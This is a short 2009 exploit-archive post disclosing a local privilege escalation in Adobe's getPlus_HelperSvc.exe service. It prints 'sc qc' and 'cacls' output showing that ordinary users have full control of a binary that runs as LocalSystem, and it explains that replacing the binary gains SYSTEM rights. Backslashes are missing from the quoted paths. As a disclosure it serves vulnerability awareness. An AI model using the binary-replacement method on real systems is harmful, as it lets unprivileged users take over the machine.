Adobe related service (getPlus_HelperSvc.exe) Local Privilege Escalation

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Adobe related service (getPlus_HelperSvc.exe) Local Privilege Escalation
# Published : 2009-07-20
# Author : Nine:Situations:Group
# Previous Title : Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit
# Next Title : PulseAudio setuid Local Privilege Escalation Exploit

Adobe related service (getPlus_HelperSvc.exe) local elevation of privileges
by Nine:Situations:Group
site: http://retrogod.altervista.org/

description:
Adobe downloader used to download updates for Adobe applications.
Shipped with Acrobat Reader 9.x

vendor: Nos Microsystems

poc:

C:>sc qc "getPlus(R) Helper"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: getPlus(R) Helper
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:ProgrammiNOSbingetPlus_HelperSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : getPlus(R) Helper
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

C:>cacls "C:ProgrammiNOSbingetPlus_HelperSvc.exe"
C:ProgrammiNOSbingetPlus_HelperSvc.exe BUILTINUsers:F <-------------- [!!!]
                                           NT AUTHORITYSYSTEM:F

The executable file is installed with improper permissions, with "full
control" for Builtin Users; a simple user can replace it with a binary of
choice.
At the next reboot it will run with SYSTEM privileges.

# www.Syue.com [2009-07-20]